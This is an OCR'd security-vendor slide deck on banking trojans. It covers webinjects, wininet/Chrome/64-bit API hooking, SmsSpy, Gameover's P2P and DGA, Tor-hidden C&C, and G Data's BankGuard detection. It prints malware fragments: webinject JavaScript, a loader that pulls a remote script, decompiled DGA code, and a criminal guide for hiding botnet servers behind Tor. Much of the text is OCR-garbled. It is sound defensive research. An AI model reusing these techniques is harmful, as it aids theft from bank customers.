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Regular Bank Transfer

Client | Bank

POST LoginData

< I
FrontPage
I

GET TransactionPage

I
< TransactionPage
I

POST TransactionData

< AuthenticationPage

POST AuthenticationData >
2nd Factor |
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Authentication

= First factor: Authenticate login
 Username / Password
 Account Nr. / Password

= Second factor: Authenticate transactions
« TAN/iTAN /iTANplus
e chipTAN
« SMSTAN
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Bank Transfer MITM-Attack
Client | EY |Bank

POST LoginData

)

FrontPage

<

GET TransactionPage

TransactionPage

<

POST TransactionData

)
)

AuthenticationPage

POST AuthenticationData

)
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Slmple Webinject

dnwt 2y

Startseite
Finanzstatus
Umsstze

Banking

Postfach

Offene Autrage
Sevice

Sichearheil

Deka FongsCenter
Kredisarts online

* Privatkunden

Kontan und Karen
Sparen und Anlegen
Wertpaplere und Borse
AOISYOISONge
Versicheungen
Kradite und Leasing
Bauen und Wohnen
Erben und Vererbon

+ Hrmendamden

Gera-Gretz (830 500 00) - Startseite - Mozilla Fire Lo
| Dotes  pewrbeten  Anscht  Qheond. "

B NEps: [Danking. spaeasse ot i gr Pp. 5

.gmf.;:«mmx.m@ e J
Regular URL

MESSION

FINANZ-CHECIC

[«)

Into-Box

Zu Inrer Sicharhelt erfalgt
e automatische
Atmelgung in 12 Min

Guten Tag
Sip watern 2uletd angemeldel am 17,02.2010 um 19:02 Ut
* MinkFinnnestiatus

Horto Kortest. (EUR)
Zunitziiche Autorinierung e
Petsonliche EinsteSungen

Hier kdeinen Sia Ihre persd Waegen der zahirelchen Schwindolfdiie fuhren wir Zusatiiche

Sicherheitsmainahmen gin. Um die Asbedt mit ihrem Kondo §7402040
for2usetzen, Kilen Sie bite einmalig die umensiehende Tabelle en

TAN-Liste
10

&0

E Mt sitree

51

Fiesie fraden

Webinject

Ferty

T Image: Sparkasse
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Simple Webinject
Client | EY |Bank

POST LoginData

< Manipulated FrontPage

< ] !
TransactionPage
I I

POST TransactionData

GET TransactionPage >

< AuthenticationPage

POST AuthenticationData >
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function

Webinject

AddReplacerArrayltem(account name value,account number value,transfer me
mo value, transfer amount value,betrag amount value,tan value,tan info va
lue, last date value,new date value, transfer date value) {

var index
replacer arraylindex
replacer arraylindex
replacer arraylindex
replacer arraylindex

replacer arraylindex

replacer arraylindex
replacer arraylindex
replacer arraylindex

replacer arraylindex

]
]
]
]
]
replacer array[index]
]
]
]
]
]

[
[
[
[
[
replacer arraylindex
[
[
[
[

= replacer array.length;

= new Array();

["account name"] = account name value;
["account number"] = account number value;
["transfer memo"] = transfer memo value;
["transfer amount"] = transfer amount value;
["betrag amount"] = betrag amount value;
["tan"] = tan value;

["tan info"] = tan info value;

["last date"] = last date value;

["new date"] = new date value;

["transfer date"] = transfer date value;
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Webinject

function StartReplacer () {
ReplaceMainBalances () ;
ReplaceSaldoHeader () ;
ReplaceKontoInformation() ;
ReplaceFinanzStatus () ;
HideTransfers () ;
ReplaceTanInfo() ;
ReplaceDate() ;
ShowAll () ;

G Data. Security Made in Germany. 10



Dynamic Webinjects

= Two-staged

= ]1st stage just acts as loader for 2nd

= 2nd stage delivered based on URL

= Basically prevents auto config extraction

if (zelf == :ﬂp} {
document.write|
“if:rip: charset="UTF-E a::='“
t I'i https:™ == doc un-=r1: locetion.protacol) 2 ]' 1:[: S - : "hitp: /Y- oot
_ php?ran=" + encodelRI ':-:lTpl'_‘-]"El'ltl CREn —FF5 sp=EPAE:id=EIDEECRE")
+ &r—' + 23 pe(d cument .referrer) + "su=" + ﬂs gpe (document .UEL) + "&" + Math.randcm(} + "'>"
+ uneacape | % CcriptE3ET) ) ;

}
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Silent Transfers (Bankpatch)
Client | EY |Bank

POST LoginData >
< FrontPage
GET TransactionPage >

< TransactionPage
Transfer to Alice > Transfer to Mallory >

<AuthReque5t: Transfer to Alice éuthRequest: Transfer to Mallory

POST AuthenticationData >
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Silent Transfers (Bankpatch)

= Undetectable when not authenticating
transfers using 2nd factor

» Undetectable when using TAN / ITAN /
ITANplus

= Detectable with smsTAN / chipTAN
« Verification has to be done by user

G Data. Security Made in Germany. 13



Feodo + SmsSpy

& Sparkasse

Vartragsnummer: 523422343224

Urn it dem Service weiterzufahren, missen Sie ein neues, zusammen mit Klides
entwickeltes B-Sicherheit Zertifikat fir Ihr Handy installieren! Dank diesem Zertifikat
wird die Yerwendung der Taste des AES 256-hit Verschllsselungsalgorithmus aktiviert,
Gehen Sie hitte wie nachstehend beschrieben vor, um das Zertifikat zu installieren.

Wahien Sie Marke und Modell Thres Handys
Marke: HTC »

Modell

Geben Sie Ihre Handyhurniner ein, wimn die Instaliationsanwelsungen firs B-Sicherheit
Ferdifikat zu erhalten.

Handynummer: +m _

@ 2013 Sparkasse
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Feodo + SmsSpy

T
& Sparkasse

2. Vorgehen um das Zertifikat zu laden

Wir empfehlen einen Standartbrowser wie android OS
oder Opera Mini zu benutzen, um das B-Sicherheit
Zertifikat zu laden.

Complete action using

W O

Browser Opera mini

FireFox

WEITER >

© 2013 Sparkasse
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Feodo + SmsSpy

S Sparkasse

3. Genehmigungen zur Anwendung

e Punkt

&' BSicherheit auf
oder

Mdchten Sle diese Installieren.

Anwendung
Installleren?

SMS empfangen
Kurznachrichten
senden

WEITER ==

© 2013 Sparkasse
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Feodo + SmsSpy

e
=] Sparkasse

4. Das Zertifikat wurde installiert

Klicken Sie auf Offnen um die Anwendungen zu starten.
&' B-Sicherheit

Anwendung
installiert

WEITER =

© 2013 Sparkasse
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Feodo + SmsSpy

E
5 Sparkasse

5. B-Sicherheit code
Nachdem Sie das B-Sicherheit 2 Fik at
g empfa

atigung der gelungen Ins

installiert
ktivierung und

$2: B-Sicherheit
Geben Sie Ihr B-Sicherheit Code ein

B-Sicherheit code:
602 30: LR 2 o XL

FERTIG STELLEN

© 2013 Sparkasse
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SmsSpy Admin-Panel

WEBES AE!0C40499240A3?5 DON_775AB58DEE22DFES Active Inactive 19032013 16:23:31

User Info - MB855_AES0CA0499240A375A ] ®

P
Information T Command T SMS Log T USsD Log T Hote T Remove _ B

Device ID: ME!855_AE80€40499240A3?5A_

BotlD: DON_775ABSBDEE22DFES

Country: us

App Version: 20

05 Version: 2358

05 Language: EM

Device: MEEBES

Rooted: false

Phone Humber: 2104 4D

Carrier: sprint

Serial Number: aes0c40400 24

IMEL: ~ooooo2cs S
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SmsSpy Admin-Panel

Information Command SM5 Loqg Us5D Log Hote Remove

Enahle SMS Hook
Dizahle SMS Hook
Enahle Call BElock
Dizahle Call Elock
Send SMS
Execute LUSSD
show Message
Fing

Delay Change
=top Program

G Data. Security Made in Germany.



Retour attack (Urlzone)

[

Umsiétze Lastschriftriickgabe

Konto* [200905 - Mustermann, Max  »| (&)

Zeitraum™ ¢ in Tagen: |10 Tage "l
¢ Datumvon: [27.022012  |BB) bis: Jogoz2012 | (B)

© Erweiterte Umsatzabfrage
Konto: 200905 Umsatzdaten exportieren™*
Abfragezeitraum: von 27.02.2012 bis 08.03.2012 [Csv-Format v] )

Kantostand am 07 03 2012 ** 100000 FUR

Buchung & ¥ Wertstellung & ¥ Verwendungszweck Betrag 4 ¥ Info
07.03.12 07.03.12 UEBERWEISUNGSGUT 7.971,90 EUR
SCHRIFT

RETOUREN
0TSt 0003t CELBAUTOMAT SotEoR—3
L - e - R = N m—
- A d—
B — - - -

EUR 50,00 GEB.EUR 0,00 Image: Sparkassec
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Bottom Line

= Man in the Browser can change:
 Protocol
« Human Perception

= Human verification fails
« Ceremony Design and Analysis, Carl Ellison

* Protocols practically fail

G Data. Security Made in Germany. 22



Outline

= How Banking Trojans operate

» Browser hijacking techniques
» Classical hooking

« Chrome
e 64Dbit

= BankGuard
= Modern C&C Structures
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Online-Banking encryption

Client Internet Bank
User PC

s Browser ' 0S

< Communication

“___ G Data. Security Made in Germany. 24



Man in the Browser (MITB)

Client Internet Bank

User PC

: Browser: OS
i

Intercept unencrypted
Communication in Browser

G Data. Security Made in Germany.
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Browser encryption

= Browsers have Network-APIs that handle
encryption transparently

* Internet Explorer: wininet.dll

* InternetConnect()
» HitpOpenRequest()
« HitpSendRequest()
 InternetReadFile()

» Firefox: nspr4.dll
* PR _open()
* PR read()
* PR _write()

« Chrome: Statically linked nspr4

G Data. Security Made in Germany. 26



Wininet. dII connection example

hConnect = InternetConnect

hOpen,

,www.mybank.com",

INTERNET DEFAULT HTTPS PORT,

nmw

nmw

INTERNET SERVICE HTTP,
0,
0

)7

hReqg = HttpOpenRequest (

hConnect,
"GET",
,/frontpage.html",
HTTP VERSION,
NULL,
INTERNET FLAG SECURE,
0

)7

//
//
//
//
//
//
//
//

//
//
//
//
//
//
//
//

InternetOpen handle
Server name

Default HTTPS port - 443
User name

User password

Service

Flags

Context

InternetConnect handle
Method

Object name

Version

Referrer

Extra headers

Flags

Context

InternetReadFile ( hReq, HtmlOutputBuffer, BytesToRead, &BytesRead);

G Data. Security Made in Germany.
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Wininet.dll connection scheme

InternetConnect

HttpOpenRequest

InternetReadFile




Hooking the Connection APIs

= Banking Trojans implement MITB through
Connection API hooking

» Hooking: Redirecting all calls to APIs to
own module

G Data. Security Made in Germany. 29



Wininet.dll hook scheme

InternetConnect

HttpOpenRequest

InternetReadFile

Calling Module

Hooked
wininet.dll

G Data. Security Made in Germany. 30



Export Table Hooks

= Windows DLLs contain list of provided
APIs (,exports”)

= Mapping Name <> RVA

»= Changing export address changes called
function of importing binary

G Data. Security Made in Germany. 31



Inline Hooks

IExplore.exe

Winlnet.dll Code:

_ for (1=1 to Oxdead) {
InternetReadfile

5B86A259 E9 AOBO28A6 JMP OlAF52FE }

5B86A25E 53 PUSH EBX

5B86A25F 8B5D 14 MOV EBX,DWORD PTR SN [EBP+14] Advapi32_d|| Ws2 32.dll
5B86A262 56 PUSH ESI —
5B86A263 57 PUSH EDI

5B86A264 33FF XOR EDI,EDI

5B86A266 3BDF CMP EBX,EDI

5B86A268 O0F85 BEDEO000 JNZ NETAPI32.5B8780FC

I S5B86A259 8BFF MOV EDI,EDI

5B86A25B 55 PUSH EBP
5B86A25C 8BEC MOV EBP,ESP

G Data. Security Made in Germany. 32



Inline hooking via VEH (Tilon)

= |nstalls VEH handler

= Writes privileged instruction (CLI) to
function prolog

» Triggers exception
* VEH handler acts as hook procedure

G Data. Security Made in Germany. 33



Outline

= How Banking Trojans operate

» Browser hijacking techniques

* Classical hooking
»Chrome
« 64bit

= BankGuard
= Modern C&C Structures
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Chrome hooking difficulties

» Chrome uses nspr4 library (PR_read /
PR_write) just as Firefox

» Functions nowhere exported though
= Compiled statically into chrome.dll
= Chrome.dll is a giant binary blob

G Data. Security Made in Germany. 35



Chrome Internal structure

struct PRIOMethods {
/* Type of file represented (tos) */
PRDescType file type;
/* close file and destroy descriptor */
PRCloseFN close;
/* read up to specified bytes into buffer */
PRReadFN read;
/* write specified bytes from buffer */
PRWriteFN write;

[/ ..

G Data. Security Made in Germany.
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Chrome Internal structure

static const PRIOMethods ssl methods = {

Y

PR DESC LAYERED,

ssl Close, /* close */
ssl Read, /* read */
ssl Write, /* write */
ssl Available, /* available */
/] ..

G Data. Security Made in Germany.
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Chrome Internal structure

static void ssl SetupIOMethods (void)

PRIOMethods *new methods = &combilined methods;
const PRIOMethods *nspr methods =
PR GetDefaultIOMethods () ;

const PRIOMethods *my methods = &ssl methods;
*new methods = *nspr methods;

new methods->file type = my methods->file type;
new methods->close = my methods->close;

new methods->read = my methods->read;

new methods->write = my methods->write;

// )

G Data. Security Made in Germany.
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Chrome Internal structure

static PRStatus
ssl InitIOLayer (void)
{
ssl layer i1d = PR GetUniqueldentity ("SSL");
ssl SetupIOMethods() ;
ssl 1nited = PR TRUE;
return PR SUCCESS;

G Data. Security Made in Germany. 39



Chrome Internal structure

ssl _InitIOLayer proc near ; DATA XREF: sub 1DE8678+DTo
push offset aSsl_1 o g
call PR_GetUniqueldentity

pop ecx
mov ssl layer id, eax
call ssl _SetuplOHMethods
mov ssl init, 1

Xor eax, eax

retn

ssl _InitIOLayer endp

G Data. Security Made in Germany. 40



Chrome function pointer
hooking (Gozi)

@& Immunity Debugger - chrome.exe - [CPU - thread 00000BED, module ntdll]
File View Debug Plugins Immlib Options Window Help Jobs
Wxp N wHLY+ 1l emtwhcPkbzr.

E FTR

ntdll
ntdll.2uT
A, 1

PTR F
PTR O
R DS:LE

fddress
i

727CE994
7277CE998
7277CE99C

chrome 1.70F86C21
chrome 1.70F4D573
chrome 1.70F4FADB

paused at ntdll.DhgBreakPoint

Paused

S

[ RENE

G Data. Security Made in Germany.



Chrome function pointer
hooking (Gozi)

@4 Immunity Debugger - chrome.exe - [CPU - thread 000005CC, module ntdll]
File View Debug Plugins Immlib Options Window Help Jobs
Wxp N wHLY+ 1l emtwhcPkbzr.

E FTR

ntdll
ntdll.2uT
A, 1

PTR F

PTR O
R DS:LE

fddress
e

727CE994 mspaperf.10002575
727CE998 mspaperf.l00024FF
727CE99C mspaperf.1000253A

Paused

[15:54:27]1 Attached process paused at ntdll.DbhgBreakPoint

on-

S e

[ BENE

G Data. Security Made in Germany.



Outline

= How Banking Trojans operate

» Browser hijacking techniques
* Classical hooking

« Chrome
> 064Dbit

= BankGuard
= Modern C&C Structures
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64bit hooking difficulties

* |nline hooking difficulties
« No common function prolog
* |Inline hooking requires disassembler

= Export hooking difficulties
« EAT RVAs are 32bit
« Can'tlet EAT point to arbitrary code address

G Data. Security Made in Germany. 44



64bit hooking (Gozi)

= Generate jJump table at end of hook
target .text section (,Code Caving")

= EAT points to jump table entry

= Jump table entry points to hook
procedure

G Data. Security Made in Germany. 45



64bit hooking (Gozi)

WININET.InternetReadFile:

; [1=BEBRBEE 106664148

0000000076A70200 FF25000000 jmp g[76A70206]
0000000076A70206 DQ 0000000018003B7C

WININET.InternetReadFileExA:

|0000000076A7020E FF25000000 jmp q[76A70214]
0000000076A70214 DQ 0000000018003C50

View Imports —
P 5] Code 2nd o || B || &
¥ [wININET i | i i oo — | conments
BOEERPRATSATEZ0E FFESORREERE8 WIMINET., InternetReadFile: jnp quord [OBDERAGEFSATEZEE] ; [1-HDOREGE1SHEESETC
AEL name EEREEn BOEEEERETSATBE0E FLIE i1 BPERRBEETEATEZ4S
= BRBERERATCATRZAS AESEE1 add [rax 11,al
e T e D0QBG0O07EArOZ0E FF 2500000000 g&zgﬂglélnternetReadFlleEHH: Jnp gword [EEEEREEETEATEZ14] ; [1-POBEEOE1SEEESCEE
InternetGetPerSiteCook ielecisionA HEARAEEEFGAZAYES GEREAREE T =15 068 crp al, 8@
d }ntEFnEthtEETSiFEC?OEiSDSEtSiOHN 8333393332n??554 BEEERERETEATEZ 17 SEE168 add bute [ronl,Bs
nternetGetSecurityInfobEy '
Sboerrel e e AP
nternetlietSecurityInfoby BRBPRGEETEATHZEZ Td43C iz BEEERGOETENTHZEE
Eassieeetontient Sictoiomonn g oottt ol
i BRBERERATEATAZZN FF2CHERBERAE WIMINET. HttpSendRequestA: jnp quord [GBPERAGETSATAZSAE] ; [1=AGBREEE1SEERZCIC
InternetGolnlinel BEGaBAEEaTEA12024 BODODREETERTEES0 o0 pushf
InternetHanglp ae0aaeaa76a130a83 DOBBOREETEAPOZE] 20D cnp al, @@
InternetInitial izeAutoProsyDl L HEARAEEEFGIIEBAS GERREEEE SR TEESS SO0 168 add byée [rocxl, @@
InternetLockRequestFile BEARAEARTGIE03EE FERRRREETEHTEESE DREE add [ramd,al '
f Intecnetioen R BRBERERATEATAZSE FFoCARABERAE WIMINET. HttpSendRequestll: jnp quord [GBPERAGETSATAZIE] ; [1=AGBREEE1SEERS0ER
nternetpenls BEBEREEETEATBESE EGSD loopnzg BEEBEEAETEATEZTD
InternetOpenls Ll HEARAEEEFEGA1 3264 CENEEEEETE0FAEA0 BRSEEL ad ran i1,a
InternetOpentl e SoRpnBBEEaLLED BOEEREEETEATEE46 FFECOEREEREE WIMINET. InternetConnectA: jnp quord [BBEEEAGETSATAZ4C]

G Data. Security Made in Germany.
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Outline

= How Banking Trojans operate
= Browser hijacking techniques
» BankGuard

= Modern C&C Structures
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BankGuard Hooking Detection

[,
|
[ InternetConnect It |'>

k

|

<:| HttpOpenRequest It |v} ‘
|

h
|
[ InternetReadFile | t |'>

Hooked
Calling Module wininet.dll

G Data. Security Made in Germany. 48



BankGuard Hooking Detection

equal?

=
—




BankGuard Hooking Detection

kY

o G Data InternetSecurity 2012

In Ihrem Browser wurde ein unbekannter Schadling -
(Fingerprint: [3bebc938])
entdeckt.

Die Schadfunktionen wurden deaktiviert,
Trotzdem empfehlen wir Thnen dringend, bis zur
dauerhaften Entfernung des Schadlings keine
Browser DLL Passwirter mehr im Browser einzugeben und n Ot e q u a I !
(H D-Copy) insbesondere auf empfindliche Yorgénge, wie z.B.
Online-Banking, zu verzichten,

Keine weiteren Meldungen anzeigen

Lo |

G Data. Security Made in Germany. 50




BankGuard MITB disconnection

o &

Unhooked
Browser DLL
Restore
Browser DLL ex p e Ct e d
(HD-Copy)
COopy

GDATA .
G Data. Security Made in Germany. 51



BankGuard Fingerprinting

Extract all hooked function names
« Browser network/encryption modules

« Kernel32.dll
« Ntdll.dll

Build 32bit hash over function names
Hash used as Trojan fingerprint
Get telemetric data from users

Used in Sandboxes

G Data. Security Made in Germany.
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BankGuard Telemetric Data
(1.1.-30.11.2013)

B ZeuS.Variant.Citadel
M ZeuS.Variant.Gameover
W Zeu$S
M Sinowal
M Bebloh
M Tatanga
™ Bankpatch
m Cridex
Others

G Data. Security Made in Germany.  s3



Outline

= How Banking Trojans operate
= Browser hijacking techniques
= BankGuard

» Modern C&C Structures
» Bankpatch via Jabber
« Zeus-P2P alias Gameover
 Tor Trojans
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Bankpatch via Jabber

Attacker @
network
W 4i;F

N

N

1. PCis infected

2. Generate Jabber account

Jabber-Acc. >
Jabber-Acc. >

< Send shutdown

€

< Regular C&C-Communication via Jabber >

(a4

aseyd
3uipeasds

aseyd
uoI323]|0)

aseyd
IR0

G Data. Security Made in Germany. 55



Outline

= How Banking Trojans operate
= Browser hijacking techniques
= BankGuard

» Modern C&C Structures
« Bankpatch via Jabber
»Zeus-P2P alias Gameover
 Tor Trojans
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ZeusS 2.0.8.9 vs Gameover

Functions 47 8% Similarity 0,33
725
48,6% o 300
S 250+
S 200
u- -
=]
i)
o
=
o
=
S
o

Zeu$S 2.0.8.9 functions in Gameover

Gameover functions in ZeuS 2.0.8.9

G Data. Security Made in Germany. 57




Gameover outline

Every bot stores a list of some other bots
Exchange data with known bots about

other bots

Poll known bots for new executables and

configs

Executables / Configs signed
If no other bots are found, poll HTTP

C&Cs via DGA

G Data. Security Made in Germany.



DGA: UpdateConfigByDGA

char _ fastcall Core::UpdateConfigByDGA{int this, void =*sync_object, int a3, int ad)

{

S

void =loc_sync_object; // edi@l

int rand_number; // ebx@h4

unsigned int i; // esi@hy

bool w7; //f al@g

signed int gotData; /f/ eax@9

struct _SYSTEMTIME SystemTime; /7 [sp+18h] [bp-4Ch]@1
char domain; // [sp+26h] [bp-3Ch]@8

loc_sync_object = sync_object;

if { *QueryTimeFromGoogleBing{&SystemTime) || SystemTime.w¥ear < 2611u )
GetSystemTime{&SystemTime};

rand_number = rand(};

i= 8;
while ( 1)
{

if ( loc_sync_object )

if { WaitForSingleObject{loc_sync_object, 1588u) *= @x182 }// Ox162: WAIT_TIMEOUT
return 8;

H

else
Sleep(1588u);

u? = GenerateDomainString{{int)}&domain, (int)}&SystemTime, rand number++ % 18660u);
if { w7 )
return 8;
gotlata = HttpGetVerifiedData{(unsigned int)&domain, ak);
if ( *gotData )
break;
if { gotData 1= 2 )

++];
if (i < 1888 )
continue;

¥

return @;

H

return 1;

G Data. Security Made in Germany.
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DGA: GenerateDomainString

» Generate 16 alphabetic chars based on
Google/Bing/System time
(year+month+week)

» Generate TLD based on rand_number

 5/6 chance for .ru domain
 Alternatives: .com/.net/.org/.info/.biz

G Data. Security Made in Germany. €0



Routing Webinjects through P2P

= Webinject:
<script type="text/javascript"

language="JavaScript"
src="scripts/default0.js"></script>

= \Webfake:

#(?2: http??://.+?/scripts/defaultl.js (S|?2.+2))#

IS rewritten to
http://$ PROXY SERVER HOST $/script0.js$

= (Gameover core routes
PROXY_ SERVER HOST through P2P

G Data. Security Made in Germany. ¢



Outline

= How Banking Trojans operate
= Browser hijacking techniques
= BankGuard

» Modern C&C Structures
« Bankpatch via Jabber
« Zeus-P2P alias Gameover
» Tor Trojans
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Banking Trojans:
C&C with hidden services
» TOR-Ifled Trojans
= ZeuS-clone in Skynet

= Torrost
= i2Ninja (Not Tor, but i2p...)

G Data. Security Made in Germany. 63



TOR NETWORK

Tor simplified

Zombie Computer C&C Server
L,
i i)
i

.. \ C&C Server

3
& N
\!;ll O —0— &

1

G Data. Security Made in Germany.
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TOR-Ifier

TOR-ifier setup instructions

1. Configuring your C&C server
11) Install the C&C server part of your botnet as you usually do.
12) Find out the port the webpanel/irc-server/collector listens on (e.g.
Apache = 80, Unrealircd = 6667, collector = 443).
1.3) Install TOR.
131  Linux sudo apt-get install tor
132 Windows: download and install from www.torproject.org
14) Configure TOR.
141 Linux: vim /ete/tor/torre
142, Windows: open %appdata®iorfiorrc with notepad
15) Add these lines (You can choose any port (1-65535) for 12345):
151, Linx:
HiddenServiceDir fvar/libitor/zeusbot
HiddenServicePort 12345 127.0.0.1:80
152 Windows:

iceDir C:\U: dmin\AppDatal
HiddenServicePort 12345 127.0.0.1:80
1.53.  This is for a http server on port 80, for IRC e.g. use 6667 instead of 80
154 Ifyouneed multiple ports (e.g. SpyEye collector) add another
HiddenServicePort line with another random port:
HiddenServiceDir fvar/libtor/spyeye
HiddenServicePort 12345 127.0.0.1:80
HiddenServicePort 12346 127.0.0.1:443
1.6) Restart TOR.
161 Linux: sudo service tor restart
162 Windows: close the tor exe and start it again
1.7 Open the directory you used for HiddenServiceDir in Step 1.5 and
open the file hostname.
L7L This *.onion domain is your personal domain, note it down!
1.7.2.  Backup the private_key file and keep it safe, whoever has this file can control
the * .omion domain and your botnet!
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Skynet

= |nitially found by G Data in 09/2012
« C&C: IRC over Tor Hidden Service
 Bitcoin miner *not* over Tor
« Undetalled report...

« Contact to law enforcement

= Another report appeared 12/2012
« Meanwhile: ZeuS over Tor included
« Meanwhile: Bitcoin miner via Tor

G Data. Security Made in Germany.



Skynet

Monday, 02.12.2014:
Skynet-Gang busted in Germany
by BKA/ GSG9

G Data. Security Made in Germany. &7



Tor vs. Custom P2P

= Tor doesn't require custom
Implementation

= Tor code will enlarge your binary
= Tor gets non-victim relay nodes for free

= Tor Is harder to block
« P2P usually uses custom port ranges
 Tor connects to ports 80 and 443
« Unblockable: Design feature of Tor
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Thanks for your attention!

Questions?

thomas.siebert@gdata.de
@thomassiebert
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Tor Hidden

Services

TH¢ Hidden Services: 1

Step 1: Bob picks some = -
introduction points and
builds circuits to them.

s

Fa '\'I
L_..-:' Tor cloud

4 Tor circuit

Intreduction points
D Fubiic key

One-time secret

Rendazvous point

Image: Tor Project
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Tor Hidden Services

T('.Sf Hidden Services: 2 Y Tor cloud

L
4 Tor circuit

m Intreduction points

D Fubiic key
Step Z: Bob advertises = -

his hidden service -- S Orne-time secret
XY Z.onion -- at the

database. / N Rendezvous point

Image: Tor Project
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Tor Hidden Services

T('.Sf Hidden Services: 3 Y Tor cloud

P
Step 3: Alice hears that 4K "I, Tor circuit
XY Z.onion exists, and she Introduection points
requests more info from
the database. She also - m Public key
sets up a rendezvous — -

point, though she could - O
have done this before. —7 Rendezvous point

Image: Tor Project
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Tor Hidden Services

T('.Sf Hidden Services: 4 Y Tor cloud

e
Step 4: Alice writes a A Tor circuit
message to Bob : ) )
(encrypted to PK) listing Introduction points
the rendezvous point m .

) Public k
and a one-time secret, = - m et

and asks an introduction One-time secret
point to deliver it to Bob.

/_H"- . ) . Rendezvous point

Image: Tor Project
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Tor Hidden

Services

THr Hidden Services: 5

Step 5: Bob connects to
the Alice's rendezvous
point and provides her
one-time secrat, T

s

L_..-:: Tor cloud

4 Tor circuit

Intreduction points
D Fubiic key

One-time secret

Rendazvous point

Image: Tor Project
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Tor Hidden Services

[ 1§ - l'-l--.\_.'\'.
T4¢ Hidden Services: 6 () Torciud
4 Tor circuit
Intreduction points
Step 6: Bob and Alice ﬂ €D rubic key
proceed to use their Tor "' o :
circuits like normal. LIS 2
) '“\‘V o Rendezvous point

Image: Tor Project

G Data. Security Made in Germany. 75



